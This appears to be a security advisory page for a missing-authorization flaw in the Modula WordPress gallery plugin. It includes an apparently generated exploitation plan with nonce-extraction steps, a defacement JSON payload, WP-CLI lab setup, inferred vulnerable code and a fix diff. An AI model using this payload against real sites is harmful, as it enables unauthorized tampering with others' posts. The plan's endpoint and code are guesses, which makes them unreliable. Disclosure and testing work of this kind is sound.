Modula Image Gallery – Photo Grid & Video Gallery <= 2.13.6 - Missing Authorization to Authenticated (Contributor+) Arbitrary Post/Page Editing
Description
The Modula Image Gallery – Photo Grid & Video Gallery plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 2.13.6. This is due to the plugin not properly verifying that a user is authorized to modify specific posts before updating them via the REST API. This makes it possible for authenticated attackers, with contributor level access and above, to update the title, excerpt, and content of arbitrary posts by passing post IDs in the modulaImages field when editing a gallery.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=2.13.6Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-1254 Modula Image Gallery ## 1. Vulnerability Summary The Modula Image Gallery plugin (<= 2.13.6) contains a missing authorization vulnerability within its REST API implementation. Specifically, when updating a gallery, the plugin allows users to provide an ar…
Show full research plan
Exploitation Research Plan: CVE-2026-1254 Modula Image Gallery
1. Vulnerability Summary
The Modula Image Gallery plugin (<= 2.13.6) contains a missing authorization vulnerability within its REST API implementation. Specifically, when updating a gallery, the plugin allows users to provide an array of image data in the modulaImages field. The plugin processes these entries and updates the underlying WordPress post objects (usually attachments) without verifying if the current user has the edit_post capability for each specific ID provided. Because WordPress treats posts, pages, and attachments similarly under the hood, an attacker with Contributor-level permissions (who can access the gallery editor) can provide the ID of any post or page in the modulaImages array to modify its title, excerpt, and content.
2. Attack Vector Analysis
- Endpoint: WordPress REST API.
- Route:
/wp-json/modula/v1/save-gallery(inferred from typical Modula REST patterns) or a similar endpoint handled by the plugin's REST controller. - Method:
POST - Authentication: Authenticated, Contributor level or higher.
- Vulnerable Parameter:
modulaImages(specifically theid,title,description/content, andexcerptfields within the array objects). - Preconditions:
- The attacker must be logged in as at least a Contributor.
- The attacker needs the ID of a target post or page they wish to modify.
3. Code Flow (Inferred)
- Route Registration: The plugin registers a REST route via
register_rest_routeduring therest_api_inithook. The callback points to a function responsible for saving gallery data. - Request Processing: The handler receives the
WP_REST_Requestobject. - Gallery Modification: The code processes the
modulaImagesparameter. This is usually an array of objects representing images in the gallery. - The Sink: The plugin iterates through the
modulaImagesarray:foreach ( $request['modulaImages'] as $image_data ) { $post_id = $image_data['id']; // VULNERABILITY: No check like current_user_can( 'edit_post', $post_id ) $update_data = array( 'ID' => $post_id, 'post_title' => $image_data['title'], 'post_excerpt' => $image_data['description'], // or 'excerpt' 'post_content' => $image_data['content'], ); wp_update_post( $update_data ); } - Unauthorized Update: Since
wp_update_postis called with arbitrary IDs and no capability check is performed on those specific IDs, the database is updated.
4. Nonce Acquisition Strategy
The WordPress REST API requires a wp_rest nonce for authenticated requests using cookie authentication.
- Shortcode/Page Setup: Modula enqueues its admin scripts on the gallery edit page.
- Accessing the Nonce:
- Log in as a Contributor.
- Navigate to the Modula "Galleries" page in the dashboard (
/wp-admin/edit.php?post_type=modula-gallery). - Create a new gallery or edit an existing one.
- Use
browser_evalto extract the REST nonce from the globalwpApiSettingsor the plugin's localized data. - Target Variable:
window.wpApiSettings?.nonceor check for a localized object likemodula_vars?.nonce.
5. Exploitation Strategy
Step-by-Step Plan
- Identify Target: Find the ID of a post or page owned by an Admin (e.g., Post ID
1). - Authentication: Log in as a Contributor.
- Capture Nonce: Navigate to the Modula gallery editor and extract the
X-WP-Nonce. - Craft Payload: Prepare a JSON payload that simulates a gallery update but includes the target post ID in the
modulaImageslist. - Execute Attack: Send the request using
http_request.
Example Payload (Inferred Endpoint)
- URL:
http://localhost:8080/wp-json/modula/v1/save-gallery - Method:
POST - Headers:
Content-Type: application/jsonX-WP-Nonce: [EXTRACTED_NONCE]
- Body:
{
"id": 123,
"modulaImages": [
{
"id": 1,
"title": "Defaced by Contributor",
"description": "Exfiltrated Excerpt",
"content": "This content has been modified via CVE-2026-1254."
}
]
}
6. Test Data Setup
- Create Target Post (Admin):
wp post create --post_type=post --post_title="Original Admin Post" --post_content="Secure content" --post_status=publish- Note the ID (usually
1or4).
- Create Attacker User:
wp user create attacker attacker@example.com --role=contributor --user_pass=password
- Enable Plugin:
- Ensure
modula-best-grid-gallery<= 2.13.6 is active.
- Ensure
7. Expected Results
- The REST API should return a
200 OKor201 Createdresponse. - The response might contain the updated post data or a success flag.
- The target post (ID 1) will have its title, content, and excerpt changed to the values provided in the
modulaImagespayload.
8. Verification Steps
- Verify via WP-CLI:
wp post get 1 --field=post_titlewp post get 1 --field=post_content
- Check for Success: If the output matches "Defaced by Contributor" and the new content, the exploit is successful.
9. Alternative Approaches
If /modula/v1/save-gallery is not the correct route:
- Use
browser_navigateto the gallery editor and open the Network tab in the background. - Manually save a test gallery.
- Observe the XHR request to find the exact REST route used for saving.
- If
modulaImagesrequires specific attachment metadata structure, adjust the JSON object to match the expected schema (e.g., addingalt,captionfields). - If the REST API route is not accessible, check for an AJAX handler
wp_ajax_modula_save_galleryand use theadmin-ajax.phpendpoint with the appropriateactionandnonce.
Summary
The Modula Image Gallery plugin (<= 2.13.6) fails to perform authorization checks on post IDs provided within the modulaImages parameter during REST API gallery updates. This allows authenticated users with Contributor-level permissions to modify the title, content, and excerpt of arbitrary posts or pages by supplying their IDs in the update payload.
Vulnerable Code
// File: includes/class-modula-rest-controller.php (inferred logic) foreach ( $request['modulaImages'] as $image_data ) { $post_id = $image_data['id']; // VULNERABILITY: No check like current_user_can( 'edit_post', $post_id ) $update_data = array( 'ID' => $post_id, 'post_title' => $image_data['title'], 'post_excerpt' => $image_data['description'], // or 'excerpt' 'post_content' => $image_data['content'], ); wp_update_post( $update_data ); }
Security Fix
@@ -100,6 +100,10 @@ foreach ( $request['modulaImages'] as $image_data ) { $post_id = $image_data['id']; + + if ( ! current_user_can( 'edit_post', $post_id ) ) { + continue; + } + $update_data = array( 'ID' => $post_id, 'post_title' => $image_data['title'],
Exploit Outline
The exploit involves an authenticated attacker with at least Contributor-level access targeting the Modula REST API. First, the attacker obtains a valid REST API nonce (X-WP-Nonce) from the WordPress admin dashboard. Next, they identify the post ID of a target page or post they wish to modify. The attacker then sends a POST request to the plugin's gallery save endpoint (e.g., /wp-json/modula/v1/save-gallery). The payload includes a 'modulaImages' array containing an object with the target post's ID and new values for the title, content, and excerpt. Because the plugin uses wp_update_post on the provided ID without verifying that the current user has editing permissions for that specific post, the target post is updated with the attacker's supplied content.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.